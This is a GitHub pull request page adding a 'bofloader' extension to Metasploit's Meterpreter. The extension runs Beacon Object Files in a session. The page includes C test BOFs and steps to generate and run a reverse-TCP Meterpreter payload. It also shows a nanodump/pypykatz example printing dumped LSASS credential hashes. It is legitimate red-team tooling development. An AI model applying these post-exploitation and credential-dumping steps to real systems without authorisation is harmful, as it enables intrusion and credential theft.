-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add TrustedSec's COFFLoader as Meterpreter Extension #16995
Conversation
0784d68
to
2ed6063
Compare
Argument Test Cases
|
@@ -0,0 +1,69 @@ | |||
/* |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This file came from https://github.com/Cobalt-Strike/bof_template where it's been published under the Apache 2.0 license.
Here are some BOF files I used while testing this:
These files I wrote to test various things. BadFunction.cShows that if the file refers to a function that doesn't exist ( #include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DoesNotExist(LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);
// https://www.cobaltstrike.com/help-beacon-object-files
void go(char * args, int alen) {
DWORD dwRet;
PDOMAIN_CONTROLLER_INFO pdcInfo;
NETAPI32$DoesNotExist(NULL);
dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
if (ERROR_SUCCESS == dwRet) {
BeaconPrintf(CALLBACK_OUTPUT, "Domain Forest Name: %s\n"
"Domain: %s\n"
"Domain Controller: %s\n"
"Domain Controller Address: %s\n"
"DC Site Name: %s\n",
pdcInfo->DnsForestName,
pdcInfo->DomainName,
pdcInfo->DomainControllerName,
pdcInfo->DomainControllerAddress,
pdcInfo->DcSiteName);
}
NETAPI32$NetApiBufferFree(pdcInfo);
} ArgumentTest.cUseful for testing that arguments that share the name of flags can still be forwarded to the BOF file. #include <windows.h>
#include <dsgetdc.h>
#include "beacon.h"
#define printf(...) BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__)
strcmp (const char *p1, const char *p2)
{
const unsigned char *s1 = (const unsigned char *) p1;
const unsigned char *s2 = (const unsigned char *) p2;
unsigned char c1, c2;
do {
c1 = (unsigned char) *s1++;
c2 = (unsigned char) *s2++;
if (c1 == '\0')
return c1 - c2;
} while (c1 == c2);
return c1 - c2;
}
// https://www.cobaltstrike.com/help-beacon-object-files
void go(char * args, int alen) {
BeaconPrintf(CALLBACK_OUTPUT, "[CALLBACK_OUTPUT]: give me a format string with --format-string\n");
datap parser;
BeaconDataParse(&parser, args, alen);
char *arg1 = BeaconDataExtract(&parser, NULL);
if ((arg1 == NULL) || (strcmp(arg1, "--format-string"))) {
BeaconPrintf(CALLBACK_OUTPUT, "invalid usage, must specify --format-string");
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "good job!");
} OutputStreams.cShows how the output streams are handled and how a binary argument is processed.#include <windows.h>
#include <dsgetdc.h>
#include "beacon.h"
#define printf(...) BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__)
void DumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
// https://www.cobaltstrike.com/help-beacon-object-files
void go(char * args, int alen) {
BeaconPrintf(CALLBACK_OUTPUT, "[CALLBACK_OUTPUT]: message\n");
BeaconPrintf(CALLBACK_ERROR, "[CALLBACK_ERROR]: message\n");
datap parser;
BeaconDataParse(&parser, args, alen);
int data_len = 0;
char * data = BeaconDataExtract(&parser, &data_len);
if (data) {
DumpHex(data, data_len);
}
} |
lib/rex/post/meterpreter/ui/console/command_dispatcher/bofloader.rb
Outdated
Show resolved
Hide resolved
079e3f9
to
8205fac
Compare
8205fac
to
e862141
Compare
Nanodump usage example
└─$ pypykatz lsa minidump nanodump.dmp # Extract the minidump file with pypykatz
INFO:root:Parsing file nanodump.dmp
FILE: ======== nanodump.dmp =======
== LogonSession ==
authentication_id 495910 (79126)
session_id 1
username kclark
domainname BORGAR
logon_server DC
logon_time 2022-09-13T20:01:10.773841+00:00
sid S-1-5-21-3010306422-4235424541-3945354764-1107
luid 495910
== MSV ==
Username: kclark
Domain: BORGAR
LM: NA
NT: 6a46de92fa2b779a0364e9d522ed648b
SHA1: 7294fa86a6bd7939aac4f37ed52797d73073edd2
DPAPI: a7a96b4cf2ecd311c9f06eea8f9239ce
... Nanodump argument signature taken from here. |
3f2606d
to
0291632
Compare
4c9012d
to
fd6ed5b
Compare
fd6ed5b
to
e8fb6e5
Compare
Release NotesThis PR adds a new extension for the C (x86/x64) Meterpreter payload. The extension is called bofloader and can be used to execute COFF files (also known as Beacon Object Files) in the context of the Meterpreter session. It currently adds only one command, bof_cmd to Meterpreter. |
This PR adds a new extension for the C (x86/x64) Meterpreter payload. The extension is called
bofloader
and can be used to execute COFF files (also known as Beacon Object Files) in the context of the Meterpreter session. It currently adds only one command,bof_cmd
to Meterpreter.This PR only includes the Ruby half of the
bofloader
extension. The C side of thebofloader
extension exists in the metasploit-payloads repo. The PR for the C code can be found here.Verification
make-cmake.bat
from Visual Studio command promptext_server_bofloader.x64.dll
andext_server_bofloader.x86.dll
from thec/meterpreter/output
folder into the proper metasploit-framework folder (metasploit-payloads*/data/meterpreter/)msfconsole
and start a meterpreter session ->use payload/windows/x64/meterpreter_reverse_tcp
set lhost eth0
generate -f exe -o meter.exe
to_handler
meter.exe
is executed and a Meterpreter session established, runload bofloader
execute_bof whoami.x64.o
execute_bof dir.x64.o --format-string Zs C:\\ 0
Next Steps
This is a draft PR. Only basic BOF functionality for 32 and 64-bit has been tested. There are more enhancements that should be added to the
bofloader
extension before it is landed:bof_cmd
arguments and tab completion for input filesbofloader
extension documentationExample Output
Future Work
In the future, Metasploit could support importing Sliver-compatible JSON files to create BOF aliases.